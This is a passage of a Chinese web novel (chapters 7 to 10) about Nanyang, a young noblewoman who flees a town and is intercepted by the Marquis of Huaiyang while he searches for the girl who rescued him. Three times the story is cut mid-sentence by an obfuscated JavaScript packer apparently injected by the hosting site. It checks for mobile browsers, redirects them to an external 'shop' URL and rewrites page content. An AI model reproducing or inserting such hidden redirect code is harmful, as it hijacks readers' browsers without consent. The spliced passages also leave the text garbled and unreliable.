被兵士当场格杀的，只有隔壁地窖窝藏的三个反贼。 南泱困惑地往屋里走。 淮阳侯在平安镇做的事，似乎，有点，配不上他穷凶极恶的名头？ 但如果说吃人的恶名是被造谣陷害的话，突然满镇子搜寻十五岁到二十五岁的年轻小娘子…… 她心里嘀咕，这是要做什么呢？ 当晚，还没来得及修好的卫家带豁嘴的大门，被人砰砰地敲响了。 7. 第 7 章 夜晚敲响卫宅大门的人出乎意料。 居然是隔门见过一次的杨县令。 卫家门上的大豁口至今没修好，门都不必开了。 南泱领着阿姆，主仆两人站在门后，杨县令站在门外。他没有提灯，黯淡星光下映出一张肃然面容。 “今夜送我们走？”南泱大为意外。 杨县令脸色很难看，“萧侯势大，山阳郡官员拖不了太久。送卫家女郎尽快离开，这是陆太守的意思。” 萧侯已下严令。明早就要召集全镇适龄女子，供他亲自过目。 按他的说法，为了搜寻平安镇一位曾经和他有缘见面的女郎。 但所谓有缘见面的女郎，竟然给不出相貌、身形、嗓音，任何一点具体线索，只咬定年轻女子……真不是随便找的借口么？ 杨县令没忍住，想多了。 萧侯搜寻整个镇子的妙龄女子。 不论是把妙龄女子掠走糟蹋，还是掠走吃了……都是他无法想象的恶劣局面。 杨县令越想脸色越铁青。 所以山阳郡官员之首：陆太守，派人交代卫家女郎之事，他即刻便来了。 “卫二娘子，你家祖上是开国功臣，你父亲永兴伯是身有爵位的功勋之后。本官救不了所有人，却也不能坐视卫氏女在本官治下受辱。” “陆太守也是同样想法。委托本官，连夜送女郎出平安镇！” 阿姆强忍狂喜，南泱提着灯笼走上半步，隔着门洞，听门外的杨县令语速越来越快： “陆太守修书一封，托本官转交给卫家女郎。还请快马加鞭，尽快赶回京城，把淮阳侯在山阳郡的骇人行径如实转述，请令尊永兴伯上书朝廷！” “朝廷下令，将淮阳侯召回京城，阻止他继续作恶——“ 不等杨县令慷慨激昂到底，南泱往后退了半步，摇摇头。 “杨县尊不知阿父的性子。阿父不会上书的。” 杨县令：“……” 原本激动滚沸的情绪，仿佛热铁板上浇了一盆冷水，滋啦——！透心凉。 阿姆急得在身后猛扯南泱的衣袖。 南泱被扯得摇来晃去，还是继续往下说：“我是阿父最不看重的女儿，所以才送来镇子养病。就算杨县尊和陆太守把我送回京城，阿父也不会为了这份恩情上书朝廷的。” “小女子不想两位失望。杨县尊，请回吧。替我向陆太守道谢。” 杨县令表情失落地走开几步，忽地又疾步走回来。 “尽人事，听天命，女郎不必管那么多。陆太守的书信已写好，你只管带着！入京之后，只需把陆太守的书信抄写二十遍，张榜贴于各处城墙之下，自有人会过问平安镇之事！” 南泱：“……啊这……” 还没等她想好回应，阿姆急忙颤声应下：“甚好，甚好！我家女郎归京后抄写书信，老婆子愿意四处张贴城墙！” 杨县令：“好！托付给卫家女郎了！” 两边一个比一个说得急，南泱慢了一拍就再插不进嘴，事情敲定下来。 杨县令当场从怀里取出一封书信塞给南泱，约好深夜三更出镇，借着夜色隐蔽，急匆匆走远了。 一个晚上峰回路转，阿姆开始翻箱倒柜地收拾衣裳细软，南泱抱着包袱发呆。 住了大半年的镇子，就这么突然走了？ 怅然若失。 来自山阳郡太守的亲笔书信，被她抓在手里翻来覆去地看。 读第一遍时被内容惊得不轻；读第二遍时，不知怎么的，觉得峻拔的字迹有点眼熟…… 南泱默默地收起书信。 一定是自己在家里太久没出门，人憋闷太久的缘故。 水边捞起个陌生郎君觉得人家长得眼熟； 从未见面的山阳郡太守写封信也觉得书信字迹眼熟。 一定是错觉。 阿姆催促她更衣。 “陆太守和杨县令冒大风险送我们出镇子，那是看在卫家先祖的份上。二娘子，莫丢了卫家先祖的颜面。” 说得有道理。 南泱穿上最好的一套衣裳，抱着小包袱，贴身收起书信，主仆两个不敢合眼，硬熬到三更末，门上的大豁口现出微弱亮光。 杨县令接引的马车来了。 夜深人静，万籁俱寂。出镇子一路上静悄悄的，车轱辘压过土疙瘩的响声都显得震耳欲聋。阿姆紧张得汗出如浆。 南泱掀开车帘子，探头往外看，小声问车夫： “不是说淮阳侯的兵马封锁了镇子？怎么一路过来，没看见半个人？” 车夫闷头赶车，并不回话。 阿姆闭目念叨：“路上看不见人最好。千万别别别撞见人……” 南泱还在探头往外看，不放心地询问车夫。 “前头一排黑黢黢的，是不是挡路的木栅？我们还能往前行车？会不会撞上啊。” 车夫健壮的手臂纹丝不动，压根没有减速的意图：“不会。主上都安排好了。” 话音未落，路边果然奔出来五六个人影，把整排的木栅推去路边。马车从土路飞驶而过。 南泱心里说不感动是不可能的。杨县令做事靠谱！ “多谢杨县尊安排……哎？” 不等她道谢完，人高马大的车夫突然猛勒缰绳，车身剧烈一晃：“吁——停！” 车里的南泱和阿姆险些栽去前头。 南泱手还掀着车帘子，瞠目注视车夫勒缰减速，把马车往路边赶。 一辆罕见的双马骖车静静停在路边。 马车高而宽，在黑黝黝的夜色里简直是个庞然大物，几乎有她这简陋小车的两个车身那么长，一个半那么宽。 两匹黑色大马在路边低头吃草，时不时甩几下尾巴。 南泱坐的小车和路边的双马大车几乎并排停下，车夫气沉丹田，冲对面大车高喊： “主上，人送来了！” 南泱：……？ 情况似乎有点不对？ —— 路边亮起两盏明亮的琉璃灯。 光芒灿烂，映亮黑夜，把停在路边的双马大车，以及停在路中央的简陋小车，一齐照个透亮。 黑夜里的琉璃灯光清晰映出大车周身华丽的装饰，也映亮了护卫兵士们的盔甲和腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140628|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀。 并排套着的两匹骏马悠闲地低头啃草。 南泱：…… 她半夜眼花了还是怎么着？抱臂站在大车边的一名挎刀将军，冲她们小车的方向一侧脸—— 怎么越看越像淮阳侯手下的狄将军呢？！ 南泱谨慎打量对面，对面大车的车帘也掀开一个角。 某个似曾相识的男子低哑嗓音道：“卫家女郎来了？把杨县令也请出吧。” 几个兵士从阴影里推出两个五花大绑的狼狈人影。 头一个高而瘦，正是杨县令本人。第二个车夫打扮，显然是杨县令原本安排给卫家的车夫。 “……” 南泱心里砰地一跳。 事情发展越来越不妙。她本能松开手，窗布帘子落下，盖住外头刺目的琉璃灯光。 她轻轻扯了下身边的阿姆。阿姆的手掌心冰凉凉的，大热天激出了满手掌冷汗。 双马骖车，琉璃灯，守卫马车的狄将军，深夜被绑来路边的杨县令…… 坐在对面车里、大晚上守株待兔的那位“主上”，除了淮阳侯本人，哪还会有第二个？ 阿姆惊吓得嗓子都哑了。 虽然不知杨县令安排的出逃计划哪里出了问题，但今夜的出逃显然暴露了。 她哆哆嗦嗦地推南泱。 “二娘子，我出面挡一阵。你、你快走！抽开车板，从车板下头……我护着你……” 车后壁被人重重敲了一下。 “抽车板也没用。别跑了，前后左右都围住了。” 狄荣大晚上的睡不成觉，车里的小娘子居然还想跑，他没好气地拿刀柄又敲了下车后壁，催促： “出来吧，卫二娘子。萧侯有请。” 南泱人都麻了。 她自己也不知自己如何下的车，仿佛个幽魂一般飘去对面车前。 狄将军示意她走近些说话。 南泱往前挪了一小步。 狄将军示意她再走近些。 南泱又往前挪一小步，距离大车半撩开的车帘子还有两三步距离，死活不肯再挪动了。 “见过萧侯。” 【淮阳侯】三个字感觉更可怕，她本能地换了个称呼：“萧侯有什么事吩咐小女子？” 大车里传来一声意义不明的笑。 车帘子撩高几分，琉璃灯光下映出男子半截海青色的云山暗纹锦衣摆，两条长腿散漫左右撇开。 男子略哑的嗓音带几分兴味，吩咐她：“再走近些。怕什么？本侯难道能吃了你不成。” 南泱：“……”这个笑话真的不好笑。 她紧张盯着面前黑洞洞半敞开的车帘子。 车外明亮，车厢里漆黑，车帘子后头仿佛噬人的怪兽张开血盆大口。 她勉强又往前挪了一小步，站在晃动的车帘子前。 “萧侯有什么吩咐……哎？！” 车里突然伸出一只手，把她拉了进去。 精神紧绷的南泱浑身一抖！ 与此同时，小车上目不转睛紧盯主家的阿姆惊惶大喊：“啊啊啊啊——！” 车帘轻飘飘地放下了。 8. 第 8 章 外头的琉璃灯光被遮挡殆尽。 车厢里黑暗浓重，伸手不见五指。 南泱眼前一片漆黑，一只有力的手仿佛个铁钳子，她被钳住不放，连拉带扯地提溜过去。 砰一声闷响，鼻尖撞上男人坚硬的下巴，南泱疼得捂着鼻子小声吸气，泪花涌了出来。 黑暗里的淮阳侯“唔”了声。 “你那乳母鬼喊鬼叫的，你怎么不喊？胆子倒是不小。 ” 南泱泪汪汪地捂着鼻子，抬手往下一撑便要起身，手感软中带硬，弹性甚好。 她顺手又按了按，突然意识到这是淮阳侯的胸口。 南泱爆发地弹跳起来，往后一步又踩上了男人的脚。 她后知后觉地：“……啊啊啊啊！！” 萧承宴饱受震荡旧伤未愈的两边太阳穴开始嗡嗡作响： “……闭嘴！” 南泱就像被抓进车厢那般，又被抓起扔去旁边。 她蹲在车窗下，抱起双臂，把自己缩成一个球。 坐在黑暗车厢里的淮阳侯闭目休息一阵，似乎从剧烈不适中缓了过来，抬脚踩住她的衣摆。 南泱哑然看着影影绰绰的高大影子弯下来，以手指仔细捻过她的裙摆，又把她两边衣袖扯过去捻了捻。 “绣花裙摆，绸缎料子。” 南泱临走前特意更了衣，换上最好的衣裳，怕丢了卫家祖先的颜面。 这身衣裳穿了两年多，反复洗得很旧了，但确实是她难得的一套绸缎衣裳。 也不知旧绸缎料子如何不能入淮阳侯的眼，总之，衣袖被嫌弃地扔开了。 萧承宴坐了回去，自语道：“永兴伯卫家的女儿，穿绸缎料子的衣裳实属正常。”仿佛突然失去了某种追索兴趣，兴味索然地摆摆手，“出去。” 南泱如逢大赦，起身往车外走。 车厢里黑魆魆看不清，一脚又踩在对方靴面上。坐在暗处的男人“嘶”一声。 南泱：“……对不住！” 萧承宴笑了声：“边认错边跑？你是会认错的。站住！” 南泱又被扯回去，这次被毫不客气地搜查随身物件。她捂着荷包不肯放手，拉扯几下，整个荷包被夺了过去。 钳子般夹住她的大手终于松开。 不知这位在想什么，居然把她的外衣袖翻起，以指腹捻了捻贴身的里衣。 这身里衣料子好，柔滑密致，是她年幼时穿过的贴身里衣两件拼一件，阿姆巧手裁剪出来的。 等她长大，再没这么好的料子做里衣了。 好在最近两年没怎么长个子，一件里衣南泱珍惜地穿了两年多，还能穿。 “上等细缣布。” 萧承宴捻了捻里衣料子，声线又冷淡下去，“卫家女儿日子过得不错。” 黑暗里打开荷包，抽出陆太守的亲笔书信，把荷包剩下的零零碎碎扔回来。 挥挥手，做出个滚的姿势。 南泱抓着荷包，三步并作两步跳下马车，小跑奔回自己的小车。 阿姆扑上来抱住她的肩膀，紧张地泪光闪烁，“二娘子！车里待了那许久，你、你被如何了？”急急忙忙拢起衣袖查看。 南泱的表情有点古怪。 阿姆粗略查看片刻，少女衣袖之下光洁白皙的肌肤并无多少痕迹，想象里糟糕的局面没有发生。只在手腕处几点不明显的淤青，像被捏出来的。 小车围拢的兵士散开，人高马大的车夫又跳上车来，吆喝着马匹，把小车赶向路中央。 南泱探头看向车外，东方启明星已经升起，凌晨最浓重的黑夜即将过去，马上要天亮了。 身后的一排木栅被推回土道中央，重新封死道路。 小车继续往前行，明显不是回返平安镇的方向。 阿姆着急起来，高声质问车夫，“你是萧侯的人吧？你老实说，要把我们带去何处？！” 那车夫终于肯应声，果然是淮阳侯帐下的亲兵之一。 “主上放你们出镇。你们一个小娘子一个妇人，还能送去哪里？当然送回京城卫家。” 阿姆又惊又喜，难以置信的狂喜里带七分怀疑，反复地用话旁敲侧击。 当真送她们回京城卫家？ 不是把她们主仆两个拉去某个偏僻山林里灭口？ 车夫一口咬死送她们回京。 南泱听着听着，插嘴问：“那杨县令和陆太守呢？萧候打算如何处置他们？” 车夫回话并不怎么客气。 “陆太守是整个山阳郡的主官，他做的事自己担着，要你个小娘子担心什么？至于杨县令……” 车夫抬手往身后指，”不就在后边跟着？” 南泱掀开车布帘子往后探看。 身后烟尘滚滚，淮阳侯那架双马骖车竟然跟了上来。 车窗里探出杨县令半个身子，依旧五花大绑，冲南泱的小车方向大喊什么，隔太远听不清晰，隐约只听到凄凉的： “不必管我——”“快走——” 南泱：…… 阿姆的目光里满满透出绝望：…… 替她们赶车的车夫是淮阳侯帐下亲兵，她们能往哪里走？ 完了，她们卫家主仆两个，连带杨县令，都要被拉出镇子灭口了。 身后双马大车疾如闪电，片刻就追了上来。 一大一小两辆马车并排行驶在土路上。 南泱撩开车布帘子不动，眼睁睁看着对面半个身体横在车外的杨县令被拉进车里。 对面车窗口闪过小半张陌生的年轻男子侧脸，玄色交领，下颌弧度清晰锐利，薄削嘴唇平直，并未看车外，直接放下布帘。 南泱吃惊地眨了下眼，猛然意识到，这便是淮阳侯了。 下个瞬间，一道长条黑影从半空划过半个圆弧，从对面马车扔了过来。 砰然巨响，黑影砸在小车上。 小车重重一震，车厢里的南泱被震得弹起几寸。 抛过来的沉重物件眼看要往地下滚，前方赶车的健壮车夫“嘿”一声大喝。 发力接住那长条物件，往后直接扔进车厢里。 南泱：“……” 阿姆：“……” 南泱坐在车里，和地板上滚了两圈的杨家马夫大眼对小眼。 简陋小车里，如今坐着卫家主仆两个，木底板上躺个摔得七荤八素的杨家车夫，狭小空间塞得满满当当，简直无处落脚。 南泱低头左右看看，小心地把脚从地板上抬起，改成盘膝的姿势坐在车里。 淮阳侯的声音她听过几次，已有点耳熟了。 并排行驶的双驾大车方向，又传来淮阳侯低沉略哑的嗓音。 他在对杨县令说话。 “杨县令坚持护送卫氏女出平安镇，本侯不拦阻。杨县令回去替本侯知会一声陆太守，卫二娘身上带的书信，本侯收下了。” “人回来。” 南泱心里正嘀咕：喊谁回去…… 只听前头坐着赶车的车夫高喊一声：“得令！” 狭小的车厢又重重一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140629|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震。 这次是赶车的车夫跳了车。 南泱眼睁睁看着人高马大的车夫扔下马鞭，跳上对面的大车…… 双驾骖车加速扬长而去。 无人驭马的小车落在后头，摇晃着往前又行驶七八丈，逐渐歪向路边。 直奔路边一棵歪脖子树撞去。 南泱：救命，救救…… 阿姆崩溃了：“啊啊啊啊啊！车夫！车夫！！” 地板上的杨家车夫摇摇晃晃起身，踉跄着捡起马鞭，往前头驾辕座位上爬。 失去控制的小车一会儿往左，一会儿往右，艰险地躲过路边大树，砰！还是翻进土路沟里。 砰——！ 南泱保持盘膝坐着的姿势，一头撞在对面的车板上。 砰——！ 杨家车夫撞得飞了出去，直挺挺横躺在沟里。 唯一侥幸无事的阿姆手软脚软地爬出翻倒的小车，路边呆坐片刻，又急忙从车里扶出晕头转向的南泱。 直到确定所有人安然无恙，杨家马夫侥幸只受了点皮肉伤，三人合力把陷进土沟的小车往外抬，阿姆嘴里还在不住地骂： “——穷凶极恶的索命恶煞！” “——山匪都没他可恨！” 虽然没有指名道姓，所有人都知道在骂哪个。 南泱吃力地顶着车板往前推。 杨家车夫抬起一边车轱辘，压低嗓音道：“杨县尊托小人问卫二娘子，昨夜留给二娘子的陆太守的亲笔手书，确实被淮阳侯搜走了？” 南泱愧疚地点点头。 杨家车夫道：“杨县尊还问，那封书信，卫二娘子可曾拆封看过？” 南泱拆封看了。 不止看过，而且牢牢记住，可以默写出来。 “哎哟，”杨家车夫惊道：“大事不好。” “我不该看么？”南泱也吃了一惊，“我怕路上不小心丢了信，耽搁正事，所以才拆看了……杨县尊如何说？” 正好小车抬出路沟，杨家车夫加快动作检查车轴轱辘，加紧修复。 “县尊说，是他安排欠妥当，被淮阳侯识破，牵累了卫家主仆。” “陆太守那封书信非同小可。如果卫二娘子拆看了信件，又被淮阳侯知晓，卫二娘子便陷入极其危险的境地。我们需尽快入京！免得淮阳侯半路下手灭口。” “……灭、灭口？” 南泱和阿姆坐在摇摇晃晃的车里，震惊地无言对视。 默默看着日头升起，马车一路往北绝尘而去。 良久。 南泱擦着自己身上衣裙各处沾的泥，喃喃道了最后一句： “淮阳侯他，真不是个东西啊。” —— 平稳行驶回平安镇的双马骖车里。 萧承宴当众拆开陆太守的亲笔手书，从头到尾看完一遍，赞赏地敲敲信纸： “陆太守文采不错，骂得畅快，本侯很欣赏他。” 他并不理会杨县令铁青的脸色，极度坦然自若地吩咐下去： “平安镇寻找小娘子之事，还是交给杨县令办。” “毕竟所有人都知道本侯脾气不好。寻不到人，心情不好，本侯就会大开杀戒，像陆太守信里骂的那样：煮几颗小孩心，再吃几块少女肉，做个真正的禽兽。” “十五岁至二十五岁的平安镇小娘子，今日就带过来，供本侯验视。” “重点搜寻家境贫寒、身穿葛衣粗布，春日出门采桑、夏季摘莲蓬贴补家用的贫家小娘子。” 9. 第 9 章 平安镇外河。 水边临时搭建出一片凉棚。 十五岁到二十五岁的小娘子们十人一横列，十人一纵列，组成百人方阵，一排排站在凉棚前，等候传唤。 水边哭声一片。 如果眼泪可以汇聚成海，这处河岸早就汪洋一片，多少凉棚都冲垮了。 上百双泪眼里，只见文人打扮的明先生摇着大蒲扇走出凉棚，高声喊话：“娘子们莫慌，萧候寻人而已。寻到必有重赏！” “家里采桑养蚕的小娘子，出列，往左站！” “家里采莲藕莲蓬谋生的小娘子，出列，往右站！” “家里既采桑养蚕、又采莲藕莲蓬的小娘子，出列，往前站！” 河边的抽泣声猛然间响亮起来。 方阵里一百个小娘子谁都不动。 不知哪个哽咽着问：“站出去会怎样？萧侯到底要、要吃哪种口味的，给个准话……” 明先生嘴角抽搐几下，尽量和颜悦色地示意小娘子们往旁边看。 凉棚下的长案上，摆满一整匣子打开的珠宝玉石。 阳光下璀璨夺目。 “莫传谣、莫信谣啊，各位乡亲！你们看，萧侯重赏已摆在大家面前。今日请各位前来，真的只为寻一位与萧侯曾有过见面缘分的小娘子，这位小娘子曾经在三月入桑林采桑叶……” 满场眼睛都盯住匣子里熠熠闪光的珠玉宝石，三四个小娘子犹犹豫豫地站去左边。 立刻被请入凉棚深处。 片刻后，一个个神色恍惚地出来了。 剩下的娘子们呼啦啦围上去，“怎样？”“里头如何？” 头一个进凉棚的小娘子恍惚地道：“淮阳侯坐在里头。” “凉棚深处黑黢黢的，只能看见人影，看不清脸。他先问我们三月哪些日子进桑林采桑，我们道：‘日日去采桑’。他又命我们走近，挨个摸我们的衣袖。最后把手搁在案上，命令我们抓他的手。” 众人惊呼：“然后呢？淮阳侯趁机轻薄你们了？” “谁敢抓贵人的手？我们都说不敢。然后我们都被赶出来了。” “……” 凉棚黑暗深处。 萧承宴坐在大书案后，抬手按突突发疼的太阳穴，两条长腿分开，烦躁地往后靠。 明文焕摇着大蒲扇走进凉棚：“萧侯，今天召来两个百人方阵。平安镇十五岁到二十五岁的小娘子，大都聚集在此了。” “都不是她。” 萧承宴道，“人躲着没来。” 明文焕想了想，“要么人躲着没来。要么人来了，躲在方阵里不现身。要么，圈定范围划小了。主上摔伤后目力模糊，水边救命之人，或许在搜寻范围之外……” “不会有错，她开口说过话。” 萧承宴打断明先生的揣测，在黑暗里闭目片刻。 摔伤沉去水下当时，听到的朦胧嗓音忽远忽近，视线模糊不清。但他笃定，划船而来的小娘子年纪并不很大。 “是个独自划船采莲蓬的年轻小娘子，胆子说大不大，说小不小。” “身穿葛衣粗布，家境穷苦。” “家境穷苦，却未动我身上的值钱物件。” “性情不寻常。” 两次都出意外状况，未能看清人，但两次给他的感觉极其类似。他的直觉极少出错。 萧承宴想起水里挨的一巴掌…… 三月桑林边泼了他一脸水的那个，应该也是她。 不可能有第二个。 “重赏翻倍，张榜告示全镇。加大力度搜寻。” —— 马车往北飞奔。 南泱合衣躺下睡了一觉。 等她睡醒，道路两边的景象已变得陌生。杨家车夫说离京城还远，得加急赶路，免得淮阳侯反悔又派人追上来。 阿姆哭了一场，眼角红通通的，低声问起南泱被拉入淮阳侯车里的细节。 细节？ 南泱摸了摸自己的裙摆和衣袖。 离开平安镇当夜，她听从阿姆劝说，穿上自己最好的一身衣裳，沉香色的六幅花蝶刺绣长湘裙，月白绸缎对襟外衣。 沉香色缎料略显老气，家里两个姐妹都不肯要，最后送来她这处。阿姆挑灯绣了半个月，精细做出一条绣花蝶长裙。 那是十四岁开春的事。两年多了，这条长裙依旧是她最好的一条。反复地拆补，一开始尺寸偏长，到现在尺寸偏短，总之还能穿。 至于月白色的绸缎对襟外衣，刚穿上身的时候，其实是湖蓝色的。 洗了又洗，洗到褪色，从开始的湖蓝色变成现在的月白色…… 南泱慢吞吞地答：“车里黑得看不清脸，没对我怎样，但淮阳侯他似乎很嫌弃我的衣裳料子。阿姆，因为我这身衣裳太旧了吗？绸缎新旧用手摸也能摸得出？” 阿姆：“……” 阿姆无言以对，只能低声骂：“谁知道疯子怎么想！” 惊心动魄的一个黑夜连带白天，总算平安熬过去了。 日落后，马累得开始吐白沫，车夫只得把车赶进附近一处村落投宿。 阿姆的心悬去嗓子眼，紧握一把剪刀防身，整夜没敢合眼，提防淮阳侯的追兵趁夜灭她们的口。 南泱陪阿姆守夜，陪着陪着，眼皮渐渐合拢…… 等她一觉睡醒，天光大亮。 太好了，没有连夜灭口的追兵，她们还活着。 南泱弯着眼从农家小院的篱笆上摘下一串紫色的喇叭花，搓进五色细绳里。 手指灵活编出一条紫花五彩手链，戴去不住叹气的阿姆手上。 —— 第二日又平平安安地度过。杨家车夫还是把车赶去附近的村落投宿。 接连两天无事发生，南泱悬挂的心安稳落了回去。 “阿姆，兴许我们想多了。” 当晚临睡前，她躺在农家木板床上，对同屋的阿姆说：“淮阳侯是封爵的大贵人，贵人事忙，和我们计较什么呢。兴许那天放我们出镇子，转头就把我们给忘了。” 阿姆并不像她这么乐观，她觉得二娘子把人想的太好。 “淮阳侯是个不折不扣的疯子。你看他做的事，追打山匪非要斩尽杀绝，封锁镇子惊扰百姓，绑走杨县令，召集全镇的小娘子，也不知要选妃还是吃肉！桩桩件件，是封侯的贵人该做的事吗？我们卫家家主身上也有爵位，有做过一件吗？” 阿姆愤愤地骂，”疯子！疯狗！” 南泱在黑暗里翻了个身，“可是人人都说他吃人，我们并未看到哪个活人被吃了。淮阳侯帐下有个狄将军，有天傍晚被砸了满身的烂菜叶子，他很生气的样子，但也没杀人。” 阿姆累了，含混道：“多长个心眼总是好的，外头坏人多啊。有句话叫‘空穴不来风’。如果淮阳侯是个人品端正的贵人，怎会到处传他的恶事呢？往坏处想，总好过轻信害了自己。” 南泱又翻了个身。 【空穴不来风。】 “阿姆，家里很多人私下传说，阿娘本来好好的，二十七岁突发了疯病。这种疯病小时候看不出来，长到年纪就会突然发作。我是阿娘的女儿，迟早也会发疯病……” “谁说的？！” 阿姆愤怒得声音都变了，”是不是丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140630|196312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管事那匹夫？回去看我撕烂他的嘴！” “不是丁管事。”南泱赶紧分辩，“几年前的旧事，本来都快忘了。” 过很久才寂静下来的农家屋里，南泱对着窗外若隐若现的萤火虫。 流言这东西，无影无踪，却又无处不在。 她只在平安镇住了大半年而已。 隔壁邻家的娘子，不知从何处听来流言，不许五岁的儿子和她说话。她偶尔出门路过，邻家娘子总是满怀警惕地把儿子抱回家里。 【她家小娘子身上有疯病，少和她搭话……】 夹杂着夏季热气和驴粪蛋气味的乡间土路上，随风飘进耳朵的窃窃私语，说一点不伤人，那是假的。 不过转念一想，嘴长在别人身上，别人说什么她也管不着是不是？ 南泱拍走耳边嗡嗡的小虫，顺便把不太愉快的记忆抛开，安然躺平。 她还是希望淮阳侯没有传说中那么狠戾残暴。 淮阳侯没那么残暴，落在他手上的杨县令，也就没那么容易死。 她又想起了那位素未见面却托她递交书信的陆太守。 一郡之守的官职不低，不知能不能从淮阳侯手里护住杨县令。 想着想着，人睡去了。 凌乱而片段的梦里，她回到本家，见过嫡母和两个姐妹，领着阿姆回到自己僻静的小院，关门继续过起习惯的冷清日子。 梦境一转。 从阴暗少光的京城本家内宅，回到烈日炎炎的平安镇。 镇子上自生自灭的日子很穷，但有趣。 就连不怎么尽忠职守、总是偷懒的看门婆子，在她眼里都能觉出趣味。 水边摔得半死不活的年轻郎君，生得极为标准的三庭五眼，悬胆鼻梁。她把人拖上岸，随手替对方擦了擦脸上血污。 十多天前发生的事了。她在梦里依旧觉得，这郎君长得眼熟。 在哪里曾见过他？ 梦境突然又一转。 从骄阳似火的盛夏，转回三月初的小阳春。 春日宜采桑。 三月初五当日，一个风暖天晴的小阳春，她在桑林。 正戴着斗笠，学其他乡间少女的姿势，不甚熟练地采摘桑叶，打算回家试试养蚕……耳边传来众少女的惊呼。 一匹膘肥体壮的黑马溜溜达达进桑林，大脑袋挨个探进采桑少女们放在地上的竹篮子，毫不客气大啖桑叶。 桑林边倒卧一位沉睡不醒的郎君。 那人锦袍高冠，金钩玉带，一柄长刀挂在腰后，盛装华服下包裹的身躯健壮如猎豹。哪怕是年纪不大的乡下采桑少女，也看得出对方身份贵重不凡。 一群少女好奇又畏缩地围观路边倒卧的年轻贵胄。 南泱拨开人群，把人翻了个面，略查了查。 酒气熏天，原来只是喝醉了。 围拢的少女当中有个嗓音含羞带怯提起，路边容易受凉，要不要把人领回家照顾？但男女有别，这般沉重个郎君，拖也拖不动，如何是好…… 如何是好？不就喝醉了酒？ 南泱当时手边正好带个牛皮水囊，当即拔开木塞，倒半囊水在那人脸上，把人浇了个湿透，也没管他醒不醒，挎着桑叶篮子走了。 实话实说，桑林边醉客的长相令人印象深刻。 她至今清晰记得，被她泼了一脸的晶莹水珠浸湿浓黑的眉峰，缓缓滑落高挺鼻梁，落入玄色交领深处。 同样是极标准的三庭五眼，眉眼轮廓英挺，线条凌厉，依稀眼熟…… 仿佛一道电光闪过脑海。 南泱从梦里扑腾一下惊坐起身。 10. 第 10 章 农家的木板床嘎吱颤抖，阿姆被惊醒了，黑暗里喊：“二娘子？” “……没事，做了个不太好的梦。”南泱缓缓平复呼吸。 所以，春日桑林边大醉的华服贵人，和水边差点摔死的，是同一个？ 她一巴掌把人在水里扇昏，又拖麻袋似的拖上岸的半死不活的那位，是淮阳侯本人？！ 吱嘎一声，南泱又躺回木板床上。 很好，人没摔死。应该是黄郎中救了他。 细想想她又不太好了。救回来的竟是淮阳侯。 缓过一口气的淮阳侯，开始大张旗鼓，全镇搜寻“十五岁到二十五岁的年轻小娘子”。 “……该不会找我报那一巴掌的仇吧？” 南泱浑身一个激灵，被脑海里可怕的联想淹没了。 所以说，坏名声对人的影响其实很大的。 理智上她知道淮阳侯吃人的流言没有实证。 但此时此刻的深夜，脑海不断闪现的画面，是咕噜噜煮水的大锅，锅里炖肉，满地吃剩的人骨头…… 南泱对着黑暗茅屋顶喃喃自语：“还好跑出来了。” …… 杨家车夫显然也这么想。 第二天开始，为了补回休息一夜损失的时间，小车快马加鞭，仿佛脱了缰的疯狗一路往北狂奔。 阿姆和南泱颠得晕头转向，阿姆的胆汁都快吐光了。 “歇一歇。”南泱虚弱地招呼杨家车夫：“阿姆吐得不行了。” 停车休息的半个时辰，杨家车夫坐立不安，时不时地跳上车回望来路。 “附近荒郊野岭的，最适合拦路杀人。万一淮阳侯派人追赶我们……” 南泱觉得不可能：“都出镇两日，要追早追上了。” 杨家车夫从淮阳侯手指缝下死里逃生一回，仿佛惊弓之鸟，越想越后怕： “兴许有事耽搁了？等淮阳侯做完手里的事，又想起咱们来。正好咱们懈怠下来，慢腾腾地赶路，他的人突然追上，杀一记回马枪！” 南泱：“啊这……” 阿姆听得大为紧张，当先上车：“说的对，我们继续赶路……呕！” “还是歇歇吧。”南泱扶着呕吐不止的阿姆：“再加急赶路，我们怕活不到京城了。” “不用顾忌我老婆子，继续赶路，呕～～！” —— “镇子医馆的黄郎中人在何处？” 深夜，八盏琉璃灯光通明，照得水边临时搭建的凉棚透亮。 全镇十五岁到二十五岁的小娘子被仔细筛过一遍，并无任何符合的女郎。 萧承宴沉思着，提起黄郎中这个几乎被遗忘的小角色。 “当天她离去不久，黄郎中划船来寻我，又想求一场富贵。黄郎中和她见过面。” “黄郎中当天便被驱赶出镇了。”明文焕坐对面，摇着大蒲扇叹气。 “跟他家小徒弟两个一起，人和船都不许靠岸。黄郎中哭哭啼啼地顺水飘去下游，寻都寻不到。” 